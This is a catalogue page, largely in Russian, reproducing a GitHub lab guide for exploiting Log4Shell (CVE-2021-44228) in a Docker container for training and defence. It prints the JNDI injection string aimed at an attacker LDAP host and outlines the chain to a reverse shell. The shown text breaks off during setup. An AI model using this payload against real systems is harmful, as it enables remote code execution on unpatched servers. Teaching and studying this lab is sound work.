Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Log4Shell-CVE-2021-44228 — 使用 Docker、Kali Linux、Burp Suite 和 log4j-shell-poc 利用和理解 Log4Shell (CVE-2021-44228) 的实践实验室。仅用于受控实验室环境中的教学和防御性培训。 | Kitploit
Инструменты/GitHubGitHub/drhaitham/log4shell-cve-2021-44228
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и Образование
Red Teaming
Лаборатории и Практика
GitHubdrhaitham/log4shell-cve-2021-44228

Log4Shell-CVE-2021-44228

使用 Docker、Kali Linux、Burp Suite 和 log4j-shell-poc 利用和理解 Log4Shell (CVE-2021-44228) 的实践实验室。仅用于受控实验室环境中的教学和防御性培训。

Репозиторий
149 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплуатация Log4Shell (CVE-2021-44228): Полная современная демонстрационная лаборатория

Log4Shell (CVE-2021-44228) — одна из самых значительных уязвимостей удалённого выполнения кода из когда-либо раскрытых. Она затрагивает Apache Log4j 2, широко используемый фреймворк для логирования на Java, и позволяет злоумышленникам выполнять произвольный код, злоупотребляя JNDI-запросами в сообщениях логов.

Это руководство предоставляет полную воспроизводимую демонстрационную лабораторию с использованием:

  • Kali Linux (атакующий)
  • Докеризированное уязвимое приложение Log4j2
  • Публичный PoC log4j-shell-poc
  • curl, Burp Suite и Netcat

Оно предназначено только для обучения, исследований, тренировок и повышения осведомлённости в области защиты в контролируемых средах. Структура и стиль следуют тому же духу, что и README сопутствующей лаборатории «Shellshock».


📌 Содержание

  1. Правовое и этическое уведомление
  2. Общий обзор
  3. Цели обучения
  4. Архитектура лаборатории
  5. Предварительные требования
  6. Установка JDK 1.8.0_202 на Kali
  7. Развёртывание уязвимого приложения Log4j (Docker)
  8. Подготовка PoC эксплойта
  9. Настройка poc.py для использования JDK 1.8.0_202
  10. Запуск служб эксплойта (LDAP + HTTP + генератор нагрузки)
  11. Запуск слушателя обратной оболочки
  12. Эксплуатация Log4Shell через curl
  13. Эксплуатация Log4Shell через Burp Suite
  14. Схема цепочки атаки
  15. Контрмеры и защита
  16. Шпаргалка (все команды)
  17. Галерея скриншотов (опционально)
  18. Ссылки
  19. Благодарности

0. Правовое и этическое уведомление

Эта лаборатория должна выполняться только в контролируемой среде, где у вас есть явное разрешение (ваша собственная лаборатория, виртуальные машины в классе и т.д.).

  • Не атакуйте производственные системы.
  • Не запускайте это против хостов, которыми вы не владеете или не управляете.
  • Используйте этот материал исключительно для образования, исследований и защиты.

1. Общий обзор

Log4Shell (CVE-2021-44228) — это критическая уязвимость удалённого выполнения кода в Apache Log4j 2.

Проблема возникает, потому что уязвимые версии Log4j2 интерпретируют управляемые атакующим строки, такие как:

${jndi:ldap://ATTACKER_IP:1389/a}

Когда эта строка логируется, Log4j:

  1. Выполняет JNDI-запрос (например, через LDAP) к серверу, контролируемому атакующим.
  2. Получает ссылку на вредоносный Java-класс.
  3. Загружает класс через HTTP и помещает его в JVM.
  4. Выполняет его, что приводит к удалённому выполнению кода.

В этой лаборатории вы:

  • Запустите уязвимое веб-приложение Log4j2 внутри Docker-контейнера.
  • Запустите вредоносный LDAP + HTTP сервер на Kali с помощью log4j-shell-poc.
  • Доставите полезную нагрузку Log4Shell через curl и через Burp Suite.
  • Захватите обратную оболочку из уязвимого контейнера.

2. Цели обучения

К концу этой лаборатории вы сможете:

  1. Объяснить на высоком уровне, как работает Log4Shell и почему JNDI опасен при неправильном использовании.
  2. Развернуть уязвимое приложение Log4j2 с помощью Docker.
  3. Установить и настроить JDK 1.8.0_202, необходимый для PoC.
  4. Запустить вредоносный LDAP-сервер и HTTP-сервер через скрипт PoC.
  5. Запустить уязвимость и получить обратную оболочку.
  6. Использовать Burp Suite для внедрения эксплойта в HTTP-заголовок.
  7. Обсудить реалистичные меры смягчения и стратегии обнаружения.

3. Архитектура лаборатории

Все компоненты работают поверх вашей существующей виртуальной лаборатории. В данной статье мы предполагаем:

  • Виртуальная машина Kali Linux является атакующим.
  • Kali также запускает Docker-контейнер с уязвимым приложением.
КомпонентРоль / ОписаниеИнструменты / СлужбыПример адресации
Виртуальная машина Kali Linux (атакующий + хост)Запускает PoC эксплойта, LDAP-сервер, HTTP-сервер, слушатель Netcat, Burp SuitePython 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git192.168.1.4 (пример IP Kali)
Уязвимое веб-приложение Log4j2Цель; веб-приложение Spring Boot, уязвимое к Log4ShellDocker-образ: ghcr.io/christophetd/log4shell-vulnerable-appДоступно по адресу http://127.0.0.1:8080

Ключевая идея

Атакующий внедряет:

${jndi:ldap://192.168.1.4:1389/a}

в HTTP-заголовок. Уязвимое приложение логирует его с помощью Log4j2 → выполняет JNDI LDAP-запрос к 192.168.1.4:1389 → загружает вредоносный класс с http://192.168.1.4:8000 → выполняет класс, который открывает обратную оболочку обратно на 192.168.1.4:9001.


4. Предварительные требования

На Kali вам нужно:

  • Docker (установлен и работает).
  • Python 3 (по умолчанию в Kali).
  • Netcat (nc).
  • Burp Suite (подойдёт Community Edition).
  • Доступ в Интернет для первоначальных загрузок.
  • Базовое знакомство с Linux и HTTP.

В этом руководстве мы предполагаем, что IP Kali:

192.168.1.4

Если ваш IP отличается, скорректируйте все команды соответственно.


5. Установка JDK 1.8.0_202 на Kali (обязательно)

PoC полагается на Java SE 8 Update 202 (JDK 1.8.0_202), поскольку более поздние версии Java ограничивают поведение удалённой загрузки классов, используемое этим эксплойтом.

Даже если в Kali уже установлен OpenJDK 21 (или аналогичный), вам всё равно нужно установить 8u202 отдельно.

5.1 Создание рабочей директории

mkdir -p ~/Log4Shell
cd ~/Log4Shell

5.2 Загрузка JDK 8u202 из зеркала HuaweiCloud

Корень зеркала:

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Загрузите tarball для Linux x64 (≈185 МБ):

wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz   # должно быть ~185M

5.3 Распаковка в /usr/bin/jdk1.8.0_202

sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
  -C /usr/bin/jdk1.8.0_202 --strip-components=1

Опция --strip-components=1 удаляет корневой каталог из архива, так что файлы попадают непосредственно в /usr/bin/jdk1.8.0_202.

5.4 Проверка установки

/usr/bin/jdk1.8.0_202/bin/java -version

Ожидаемый результат:

java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

Если вы видите это, JDK 1.8.0_202 установлен правильно.


6. Развёртывание уязвимого приложения Log4j (Docker на Kali)

В новом терминале на Kali (вы можете оставаться в ~/Log4Shell):

docker run --name vulnerable-app --rm -p 8080:8080 \
  ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929

Вы должны увидеть логи, похожие на:

Скачать инструмент